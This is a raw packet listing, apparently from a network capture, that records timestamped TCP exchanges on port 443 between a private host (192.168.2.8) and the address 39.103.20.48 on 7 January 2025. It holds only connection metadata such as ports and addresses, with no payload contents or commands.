Jan 7, 2025 04:15:36.643323898 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.643337965 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:36.643414974 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.643640041 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:36.643651962 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:37.972775936 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:37.972843885 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:37.973261118 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:37.973268986 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:37.973443031 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:37.973448038 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.304230928 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.304260015 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.304342031 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.304372072 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.304393053 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.304418087 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.304486036 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.304533005 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.305974007 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.306039095 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.306073904 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.306088924 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.318267107 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.318288088 CET	443	49711	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.318305016 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.318362951 CET	49711	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.331815958 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.331866026 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:38.331931114 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.332211018 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:38.332222939 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.541290998 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.541357040 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:39.541878939 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:39.541887045 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.542064905 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:39.542069912 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.901387930 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.901412964 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.901576996 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:39.901576996 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:39.901597977 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.901817083 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.901873112 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:39.901881933 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.901931047 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:39.902023077 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:39.902080059 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.127770901 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.127934933 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.127962112 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.127974987 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.127986908 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.128281116 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.128319025 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.128333092 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.128340006 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.128371000 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.128386021 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.128469944 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.128520012 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.128638029 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.128681898 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.128689051 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.128695011 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.128727913 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.345557928 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.345609903 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.345648050 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.345673084 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.345691919 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.345717907 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.346142054 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.346178055 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.346199036 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.346205950 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.346223116 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.346246004 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.347104073 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.347141981 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.347170115 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.347177982 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.347191095 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.347218037 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.348011971 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.348069906 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.348989010 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.349047899 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.349097013 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.349148989 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.350091934 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.350125074 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.350145102 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.350152969 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.350164890 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.350192070 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.351010084 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.351051092 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.351064920 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.351073027 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.351092100 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.351108074 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.351932049 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.351984978 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.568523884 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.568572044 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.568649054 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.568680048 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.568694115 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.568721056 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.568780899 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.568839073 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.568886042 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.568936110 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.569070101 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.569118023 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.569329023 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.569381952 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.569490910 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.569575071 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.569636106 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.569680929 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.569827080 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.569878101 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.570066929 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.570103884 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.570116043 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.570125103 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.570142031 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.570166111 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.570420027 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.570466042 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.570662975 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.570693970 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.570708036 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.570717096 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.570730925 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.570754051 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.570955992 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.570995092 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571017027 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.571023941 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571046114 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.571063995 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.571464062 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571513891 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.571567059 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571626902 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.571775913 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571826935 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.571827888 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571841002 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571873903 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571875095 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.571885109 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.571928978 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.572480917 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.572545052 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.572578907 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.572635889 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.572725058 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.572772980 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.574919939 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.574982882 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.575067043 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.575120926 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.654747963 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.654814005 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.654993057 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.655047894 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.655149937 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.655213118 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.791542053 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.791585922 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.791618109 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.791632891 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.791654110 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.791670084 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.791764975 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.791799068 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.791817904 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.791826010 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.791851044 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.791860104 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.791996956 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792042017 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792058945 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792066097 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792089939 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792102098 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792241096 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792293072 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792438984 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792494059 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792634964 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792671919 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792690992 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792696953 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792707920 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792709112 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792727947 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792735100 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.792762995 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.792782068 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.793082952 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.793121099 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.793145895 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.793152094 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.793162107 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.793198109 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.793365002 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.793410063 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.793417931 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.793423891 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.793442011 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.793452978 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.793473005 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.793478012 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.793498993 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.793524027 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.796200037 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.796267986 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.796457052 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.796513081 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.796613932 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.796653032 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.796675920 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.796681881 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.796708107 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.796724081 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.796783924 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.796849966 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.796880007 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.796958923 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797038078 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797072887 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797101021 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797107935 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797127962 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797148943 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797223091 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797286034 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797374010 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797413111 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797424078 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797429085 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797461033 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797471046 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797597885 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797636032 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797650099 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797657967 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797683954 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797702074 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797785044 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797833920 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797924042 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797956944 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797970057 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.797976971 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.797998905 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.798006058 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.877646923 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.877710104 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.877877951 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.877933025 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878041983 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878076077 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878088951 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878096104 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878113031 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878130913 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878201962 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878248930 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878319979 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878369093 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878556967 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878588915 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878607035 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878614902 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878626108 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878653049 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878772974 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878812075 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878820896 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878827095 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.878851891 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.878882885 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879053116 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879086971 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879096031 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879102945 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879127026 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879138947 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879230976 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879273891 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879291058 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879297018 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879322052 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879338980 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879411936 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879456043 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879462957 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879473925 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879504919 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879509926 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879513979 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879522085 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879545927 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879570961 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.879867077 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.879910946 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880069017 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880109072 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880116940 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880124092 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880143881 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880147934 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880158901 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880165100 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880184889 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880188942 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880212069 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880218983 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880243063 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880269051 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880351067 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880398989 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:40.880530119 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:40.880584002 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.014468908 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.014544964 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.014565945 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.014612913 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.014616966 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.014633894 CET	443	49712	39.103.20.48	192.168.2.8
Jan 7, 2025 04:15:41.014657021 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.014672041 CET	49712	443	192.168.2.8	39.103.20.48
Jan 7, 2025 04:15:41.014761925 CET	443	49712	39.103.20.48	192.168.2.8
